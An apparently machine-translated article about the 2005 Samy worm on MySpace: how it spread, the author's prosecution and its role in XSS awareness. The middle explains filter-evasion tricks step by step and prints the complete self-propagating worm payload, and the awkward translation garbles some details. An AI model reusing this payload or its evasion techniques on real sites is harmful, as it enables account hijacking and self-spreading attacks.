Sami Kamka, the protagonist of the story, did not want to be a “hero” for everyone, he was not even going to make new friends. But thanks to several lines of the smart code, he became a “hero” and a “friend” for more than a million people.

It all happened around midnight on October 4, 2005 in the sunny city of Los Angeles. Then 19-year-old hacker Sami Kamka released to the network something now better known as the “Samy worm”. It was the first fastest and self-propagating virus that forever changed the world of web security.
Who left school at 16 and founded a software development startup called Fonality at the age of 17, Kamka explained his action quite simply:
I just wanted to impress my techie friends and nothing more.
It all started a week before the launch of the worm. At that time, MySpace gave users more freedom to customize their profiles, allowing the use of HTML code, which led to a colorful and often painful browsing of profiles. However, not everything on MySpace could be set up. Users had the ability to upload no more than 12 photos. Many were worried about how to get around this limitation. And now Kamka began to explore MySpace to find a way to trick the site and do something that other users could not. Soon he became the first to upload 13 photos to his profile.
')
Users also had a narrow choice in the "relationship" column. The drop-down menu contained the standard options: married, single, in a relationship, etc. But Sami, who at the moment had a relationship, wanted to be able to stand out and indicate a special status "at the height of the relationship." And after a while, sorting through n lines of code, he was able to realize his original idea. As Sami said:
As soon as I did this, I realized that now I can do almost everything on my page.
For the whole week, Kamka worked on a script that would be invisible to other users and make everyone who visited his profile add him as a friend. The script would also attach a string to the profile of a “forced” friend under the category “my heroes: but my main hero is Sami”. But after that, he realized that in this way he would not be able to gather a lot of friends if he was guided solely by those who visited his page. Therefore, the inventive young man wrote in the script the possibility of self-copying on the page of his visitors. It was at this key moment that he created the self-propagating worm.

According to Sami:
I figured that in a month I could have about 100 or 200 friends. Some of them will complain, but I just delete them and there will be no problems.
Waking up the next morning, he found more than 200 friend requests. At this point, Sami was shocked, because the worm spread much faster than expected. An hour later, the queries doubled and continued to grow exponentially. Then Kamka sent an anonymous letter in support of MySpace, warning them about the worm and indicating how to stop it. But to this day it remains a mystery whether someone read his letter.
At 1:30 pm, the young hacker already had more than 2,500 friends and there were more than 6,000 friend requests. The process is out of control.
Kamka posted his blog post explaining everything that happened that night. As Sami remembers:
People literally flooded me with the letters that they reported about me as about the person who hacked their pages. After all, it was my name that shone in the list of their heroes.
I hope no one sued me.
After a couple of hours, Sami went for a burrito in Chipotli, and then went home to check his MySpace profile. At that moment, he had almost a million friend requests. And this is what he wrote in his blog:
I am popular. It's official.

The number of requests crossed the million mark a couple of minutes before MySpace became unavailable. The company had to decommission the site to find out what had happened and eliminate the worm. Sami is recognized:
I felt terrible. I felt really embarrassed.
But he could not do anything. As soon as he released the worm, the process was already irreversible, the virus rapidly spreading on its own. After a couple of hours, the site became available again, but the Kamka profile has already been deleted.
Kunel Anand, who became director of security at MySpace a few months after the incident, said that when [Samy] had attacked, the company had virtually no security team and they had no idea what to do. No one has seen anything like this before, so this moment was a turning point.
Let's take a look at how the [Samy] worm was built.
MySpace blocks most tags, in fact it only allows <a.>, <Img.> And <div.>, Perhaps some others, for example <embed.>. But it will definitely not allow tags like <script.>, <Body.>, With javascript, etc. However, some browsers allow javascript within the css tags. JavaScript will be required in order for all this to work further.
Example:
<div style="background:url('javascript:alert(1)')">
Further quotes cannot be used in the block, because single and double quotes have already been used up. This greatly complicates JS coding. To get around this, you can use an expression to save the JS and then execute it by name.
Example:
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
Now we can make javascript in single quotes. However, MySpace removes the word "javascript" from anywhere. But some browsers actually interpret "java \ nscript" as "javascript". (This is java <newline> script).
Example:
<div id="mycode" expr="alert('hah!')" style="background:url('java script:eval(document.all.mycode.expr)')">
Well, while we have working single quotes, double quotes are sometimes needed. But the problem is that MySpace will not miss any quoting escaping. However, we can simply convert a decimal number to ASCII in JavaScript to actually get quotes.
Example:
<div id="mycode" expr="alert('double quote: ' + String.fromCharCode(34))" style="background:url('java script:eval(document.all.mycode.expr)')">
In order to leave the code on the page of the user who viewed yours, you need to get the source code of the page. To get the source code you can use document.body.innerHTML. But again, MySpace will remove the word innerHTML, and to avoid this, you should use eval () to evaluate the two sequences and connect them, getting “innerHTML”.
Example:
alert(eval('document.body.inne' + 'rHTML'));
During the actual access to other pages, I would like to use floating frames. But, as a rule, frames (even hidden ones) are not so useful and obvious to users that “something else” is going on. You can use AJAX (HTTP XML) to perform HTTP capture and copy code to the user’s page. However, MySpace removes the word “onreadystatechange”, which is necessary for XML-HTTP requests. Again, we can use evaluation to avoid this. Another plus to HTTP XML is that the necessary cookies required to perform actions from MySpace will be transferred without any hassle.
Example:
eval('xmlhttp.onread' + 'ystatechange = callback');
At the time when we get access to the user profile, we get access to the list of his characters. We do not need to delete the list of current heroes, we just need to add ourselves to this list. If we have access to the profile, we can access the current list of heroes and save it for later. With all of the above and computed, it's pretty easy to do with an HTTP XML request. Except that we must get the ID of a friend - the actual user who viewed our profile. As mentioned above, we can do this by gaining access to the source code of the page. True, now we need to perform a search on the page in accordance with a specific query. But making a search query by words, we will encounter a problem. Most likely this word will be found inside our own code. Accordingly, the request “if the page contains“ something ”, do something” will always have a positive result, since this “something” is contained in our own code, which was copied to the user's page. Using the eval () function avoids this problem.
Example:
var index = html.indexOf('frien' + 'dID');
At this point we already have a list of heroes. However, first you need to add as a friend by running an XML-HTTP request on the "Add Friends" page. But then all of a sudden, “Opanki” does not work. But why? We are located on profile.myspace.com, however the request must be made on the domain
www.myspace.com . It's okay, you might think, but HTTP XML will not allow you to send / receive requests to a site with a different domain name. To get around this, let's actually go to the same URL, but with the domain
www.myspace.com . You can still view the profile on behalf of
www.myspace.com , so reloading the page with the www domain you need allows us to fulfill the request.
Example:
if (location.hostname == 'profile.myspace.com') document.location = 'http://www.myspace.com' + location.pathname + location.search;
Finally we can fulfill the request. Yes, just sending a request, in fact, we do not add a friend. Why it happens? After all, everything is done correctly. And the thing is this. MySpace generates a random hash on the page to confirm the request (for example, “Are you sure you want to add this user as a friend?”). If the cache was not sent along with the request, the request will not be processed. To get around this point, you need to behave like a browser, having analyzed the source of the hash before adding the user, then send a request when passing the hash.
After the request has been completed, we need to add ourselves to the “heroes” and insert our main code. In the end, the code will be placed in the same section "heroes", so to complete we will need only one request. However, we need to first get a page to get a new hash. But before that, we should reproduce the code we want to put there. The easiest way is to take the source code, parse it and make adjustments. This works, but now the code will be distorted. We need an encrypted URL to extract the source code and add the request properly. Strange, but it still will not work. Apparently, URL-coding in JavaScript and the escape () function do not output all the necessary data, you need to make some changes manually to get the necessary data at the output. We add “but most of all my hero is Sami” as it was with Kamka, after that we insert the whole code and - voila! We have a self-replicating code, the worm itself.
<div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
After all the fixes on the MySpace side, this code is no longer scary and will not work.
The worm that Kamka released, in spite of its fast self-propagation, proved to be harmless and harmless. He only did what he added friends, and entered a few lines into the "infected" profile. But if Kamka was a criminal or had malicious intentions, he could easily take possession of other people's profiles. The technique used by the young hacker, known as Cross-site Scripting, abbreviated XSS. With its help, the attacker injects malicious code on the website and in the user's browser. People familiar with web security knew that most sites could be attacked just like Kamka did. But before the [Samy] worm appeared, no one took this threat seriously. At that time, 80–90% of websites were vulnerable to such attacks. The problem attracted so much attention that the Open Web Application Security Project made considerable efforts to create an API for sites and allow users to use code on their pages without exposure to XSS vulnerabilities - they caused it to "AntiSamy Project". Ten years later, only 47 percent of websites have the same vulnerabilities, according to data compiled by WhiteHat's Security in 2015. The vulnerability shown by this worm is likely to be more widespread than we think.

In the following years, websites and browsers increased their security in front of attacks using cross-site scripts, but still they were beaten by yet no less well-known attacks. For example, in 2013, several Yahoo user mailboxes were hacked due to a similar vulnerability. And last year, hackers found an XSS bug in TweetDeck that allowed them to post annoying pop-ups to the site.
Despite their innocuous intentions and blog posts, which described the reason for launching the [Samy] worm, Kamka still could not avoid the problem with the law. Six months after he released the worm, the secret service, together with the Electronic Crime Task Force, received a search warrant for his apartment and his office. The authorities seized from him: a laptop, three desktop computers and all external drives. Los Angeles District Attorney has filed computer crime charges. In particular, infection of computer systems with a virus according to the California Penal Code.

It was scary.
Remembers Kamka.
I didn’t even have a high school diploma, so it really was important for me if I could continue working with computers. That's all I had.
For a whole year, Kamka’s lawyers and local prosecutors held debates about pleading guilty to a young hacker. Sami himself was not arrested, it all ended up pleading guilty and was sentenced to three years probation without practical access to computer systems. He had the right to use only one computer, registered by the authorities, without having access to the Internet.
He still could work as a leader in his startup and was invited to various conferences to tell about his worm. In 2007, he met Jeremiah Grossman, a Web security expert and the founder of WhiteHat, at the OWASP & WASC AppSec conference, where Grossman and his friend Robert Hansen, where they were wearing custom-made T-shirts that read “Sami, my hero” . (Similar t-shirts can still be bought online.)

In 2008, three years after the worm, Kamka returned to court and his probation was reduced. Being free from restrictions, Sami first went to Santa Monica at the Apple Store, where he bought a new laptop. Then he went to the nearest Starbucks. His sole purpose was to open a laptop and connect to the Internet.

As Sami recalls, before the MySpace incident, he was a modest, reticent and shy guy. But after spending three years without access to the Internet, he had to do other things. And it greatly changed him.